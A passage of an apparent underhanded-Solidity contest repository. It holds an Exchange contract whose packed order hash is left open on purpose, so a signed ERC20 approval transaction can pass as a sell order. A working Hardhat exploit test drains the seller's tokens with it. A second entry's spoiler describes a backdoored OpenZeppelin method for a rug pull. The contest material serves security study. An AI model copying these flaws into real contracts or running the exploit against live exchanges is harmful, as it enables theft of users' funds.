02f86d0180843b9aca0085102e6f23c282c35094 # referrer
5fbdb2315678afecb367f032d93f642f64180aa3 # token address
80b844095ea7b3000000000000000000 # rate
000000 # nonce
e7f1725e7734ce288f8367e1bb143e90bb3f0512 # exchange contract
00000000000000000000000000000000000000000000003635c9adc5dea00000 # amount
c0 # order type
```
This matches the Order encoding prior to recovering the signer:
- The first 20 bytes (referrer) are unimportant, as long as they are indeed 20 bytes long. This holds for chainId 1 (mainnet), for reasonable values of gas fees (1 gwei priority, 50 gwei base fee), and for the ~50k gas usage of an ERC20 approval.
- The rate is guaranteed to start with `0x80` since `value` for an approval should be zero (rlp encoded as 0x80), which ensures a absurdly favorable rate for the buyer.
- The nonce can be skipped, since we'll be attacking this seller for all the value they have approved to the exchange, so there is no need for more than one attack.
- The address of the exchange is guaranteed to be in the `data` field, as is the recipient of the approval.
- The approval amount matches the amount of the assembled order, which allows the attacker to steal all approved funds.
- The order type is pretty much ignored as long as it's not zero, and will usually be `c0` since access lists are rarely populated.
The end result is that any seller can be drained of all the tokens they have approved for just a few wei.
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/contracts/Exchange.sol
================================================
// SPDX-License-Identifier: WTFPL
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract Exchange {
uint256 constant RATE_DENOMINATOR = 2 ** 64;
uint256 constant REFERRAL_FEE = 100;
uint256 constant REFERRAL_FEE_DENOMINATOR = 10000;
// Whether the order needs to be executed for the exact total amount of tokens offered, or can be partially consumed
uint8 constant EXACT_ORDER = 0;
uint8 constant PARTIAL_ORDER = 1;
// Off-chain order representing a token sale (seller is the signer of the order)
struct Order {
address referrer; // optional referrer field that takes a 1% of the amount paid in ETH
address token; // token being offered in this order
uint128 rate; // amount of tokens per eth sold (times RATE_DENOMINATOR)
uint24 nonce; // nonce for differentiating two otherwise identical orders
uint256 amount; // amount of tokens offered in this order
uint8 orderType; // type of order (see constants above)
}
// How much of the total amount of tokens of an order have been purchased so far (indexed by order hash)
mapping(bytes32 => uint256) public amountExecutedPerOrder;
// Executes an order purchasing however many tokens correspond to the msg.value sent based on the order rate
function executeOrder(Order calldata order, uint8 v, bytes32 r, bytes32 s) external payable {
uint256 tokensPurchased = msg.value * order.rate / RATE_DENOMINATOR;
uint256 fee = order.referrer != address(0) ? (msg.value * REFERRAL_FEE / REFERRAL_FEE_DENOMINATOR) : 0;
bytes32 orderHash = getOrderHash(order);
address seller = ecrecover(orderHash, v, r, s);
require(msg.value > 0, "Payment required");
require(seller != address(0), "Wrong signature");
require(order.orderType == EXACT_ORDER ? tokensPurchased == order.amount : true, "Cannot take partial amount");
require(tokensPurchased <= order.amount + amountExecutedPerOrder[orderHash], "Amount purchased exceeds order");
amountExecutedPerOrder[orderHash] += tokensPurchased;
IERC20(order.token).transferFrom(seller, msg.sender, tokensPurchased);
if (fee > 0) payable(order.referrer).transfer(fee);
payable(seller).transfer(msg.value - fee);
}
// Gets the hash of an order (used as its identifier)
function getOrderHash(Order memory order) public view returns (bytes32) {
return keccak256(abi.encodePacked(
order.referrer,
order.token,
order.rate,
order.nonce,
address(this), // include address of this contract to prevent replay attacks
order.amount,
order.orderType
));
}
}
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/contracts/mocks/MockERC20.sol
================================================
// SPDX-License-Identifier: WTFPL
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(address holder) ERC20("MockToken", "MCK") {
_mint(holder, 10000 * 10 ** decimals());
}
}
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/hardhat.config.js
================================================
require("@nomiclabs/hardhat-ethers");
require("@nomiclabs/hardhat-waffle");
const { solidity } = require('ethereum-waffle');
require('chai').use(solidity);
/**
* @type import('hardhat/config').HardhatUserConfig
*/
module.exports = {
solidity: "0.8.11",
networks: {
hardhat: {
chainId: 1,
initialBaseFeePerGas: '50000000000'
}
}
};
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/package.json
================================================
{
"name": "underhanded",
"version": "1.0.0",
"main": "index.js",
"scripts": {
"test": "hardhat test"
},
"license": "WTFPL",
"dependencies": {
"@nomiclabs/hardhat-ethers": "^2.0.5",
"@nomiclabs/hardhat-waffle": "^2.0.3",
"@openzeppelin/contracts": "^4.5.0",
"chai": "^4.3.6",
"ethereum-waffle": "^4.0.0-alpha.0",
"ethers": "^5.6.1",
"hardhat": "^2.9.1",
"waffle": "^0.0.4"
}
}
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/test/exploit.js
================================================
const { expect } = require("chai");
const { ethers } = require("hardhat");
const BN = ethers.BigNumber;
const eth = (value) => ethers.utils.parseEther(value.toString());
describe("exploit", function () {
it("steals tokens from a seller", async function () {
const [_deployer, seller, attacker] = await ethers.getSigners();
const [initialAttackerBalance, initialSellerBalance] = await Promise.all([
attacker.getBalance(), seller.getBalance(),
]);
const token = await ethers.getContractFactory("MockERC20").then(f => f.deploy(seller.address));
const exchange = await ethers.getContractFactory("Exchange").then(f => f.deploy());
expect(await token.balanceOf(seller.address)).to.equal(eth(10000));
const tx = await token.connect(seller).approve(exchange.address, eth(1000), { gasLimit: 50000 });
const serializedTx = ethers.utils.serializeTransaction({ ...tx, gasPrice: null }).slice(2);
const referrer = '0x' + serializedTx.substr(0, 40);
const rate = '0x' + serializedTx.substr(80, 32);
const orderType = '0xc0';
const nonce = 0;
const fakeOrder = [
referrer,
token.address,
rate,
nonce,
eth(1000),
orderType,
];
console.log(tx);
console.log(serializedTx);
console.log(fakeOrder);
const requiredEth = eth(1000).mul(BN.from(2).pow(64)).div(rate);
const tokensOut = requiredEth.mul(rate).div(BN.from(2).pow(64));
expect(requiredEth).to.equal(BN.from(107));
expect(tokensOut).to.be.closeTo(eth(1000), eth(100));
await exchange.connect(attacker).executeOrder(fakeOrder, 28, tx.r, tx.s, { value: requiredEth });
expect(await token.balanceOf(seller.address)).to.equal(eth(10000).sub(tokensOut));
expect(await token.balanceOf(attacker.address)).to.equal(tokensOut);
expect(await attacker.getBalance()).to.closeTo(initialAttackerBalance, eth(0.01));
expect(await seller.getBalance()).to.closeTo(initialSellerBalance, eth(0.01));
});
});
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/test/happy.js
================================================
const { expect } = require("chai");
const BN = ethers.BigNumber;
const eth = (value) => ethers.utils.parseEther(value.toString());
const SELLER_PK = '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d';
const SELLER_ADDRESS = '0x70997970C51812dc3A010C7d01b50e0d17dc79C8';
describe("happy path", function () {
it("purchases tokens from an order", async function () {
const [_deployer, seller, buyer, referrer] = await ethers.getSigners();
const [initialBuyerBalance, initialSellerBalance, initialReferrerBalance] = await Promise.all([
buyer.getBalance(), seller.getBalance(), referrer.getBalance(),
]);
const rate = BN.from(2).pow(64); // 1:1
const nonce = 0;
const token = await ethers.getContractFactory("MockERC20").then(f => f.deploy(seller.address));
const exchange = await ethers.getContractFactory("Exchange").then(f => f.deploy());
expect(await token.balanceOf(seller.address)).to.equal(eth(10000));
expect(seller.address).to.equal(SELLER_ADDRESS);
await token.connect(seller).approve(exchange.address, eth(1000));
const order = [
referrer.address,
token.address,
rate,
nonce,
eth(1000),
1, // OrderType.PARTIAL
];
const orderHash = await exchange.getOrderHash(order);
const { v, r, s } = new ethers.utils.SigningKey(SELLER_PK).signDigest(orderHash);
await exchange.connect(buyer).executeOrder(order, v, r, s, { value: eth(1000) });
expect(await token.balanceOf(seller.address)).to.equal(eth(9000));
expect(await token.balanceOf(buyer.address)).to.equal(eth(1000));
expect(await buyer.getBalance()).to.closeTo(initialBuyerBalance.sub(eth(1000)), eth(0.01));
expect(await seller.getBalance()).to.closeTo(initialSellerBalance.add(eth(990)), eth(0.01));
expect(await referrer.getBalance()).to.equal(initialReferrerBalance.add(eth(10)));
});
});
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/README.md
================================================
# The deadly LIP! pool
In the spring of 2022, several serial scammers were unmasked in the blockchain community. In the chaos, they disappeared back into the shadows, rolling their ETH into tornado behind them. A few weeks later, an anonymous, all-women team has taken the crypto world by storm with the launch of the LIP! project.
LIP! allows anyone to launch their own line of cosmetics. Not only that, but everyone can profit from the future success of any line of cosmetics by joining that cosmetics pool. Think your favorite influencer has was it takes to make a hit? Then join in. LIP! products are already common sights on TikTok across Asia.
Powering the LIP ecosystem is the LIP/DAI staking pool. Only LP tokens from this pool can be used for lock ups for manufacturing, profit sharing, and fair launch LIP distribution. To doubly encourage early investors, the LIP/DAI pool adds a 7% fee onto the pool liquidity deposits that goes back to early LIP/DAI LP holders.
## Your mission
You are a hotshot security expert working for a large investment fund about send hundreds of millions into LIP! Is this the LIP LP contract safe? [Hint: No] Is whole project just a rug? [Hint: Yes]
### More hints
- The vulnerabilty is in the LipPool contract.
- The vulnerabilty does not require any nonstandard behavior from the two tokens held by the pool.
- The invarients in LipPool hold.
- Swap methods have been ommited here for simplicity, they can be assumed to be perfect, profitiable for the pool, and irrelevant to the rug.
- You are welcome to look at the tests / fuzzing tests. No spoilers there.
- There is a placeholder POC unit test already written for you, it just needs the missing attack filled in.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/SPOILER.md
================================================
"What do you fear the most?" People ask this question in icebreaker / party introduction games. It has always struck me as a terrible question. Perhaps you are supposed to answer with a humble-brag like "The thing I fear the most is getting second place at the Olympics", or something romantic, like "not finding true love". But as for me, I keep my mouth shut. I pass. I have an imagination.
But for nothing more than a shot at fleeting fame, I am sharing my number one, super secret, blockchain security fear. Someone please make this harder to attack. My fear is this: that some random NPM packages that a front-end guy added to our dapp is going to insert a little code into the copy of open zeppelin contracts used to build our contracts for deployment. All the work we spend on audits, checklists, code reviews, formal proving - for nothing! Who even checks those open zeppelin contract files on verified etherscan contracts anyway?
This submission has an extra method (that rhymes with 0x79cc6790) added to the open zeppelin library. This added method, although it follows the open zeppelin style, has a bug allows funds to be removed from other accounts if the attacker approves the other accounts to spend funds.
The attack is simple. The attacker mints a lot of LP tokens, removes the largest other holders LP tokens, then withdraws.
RIP. REKT.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
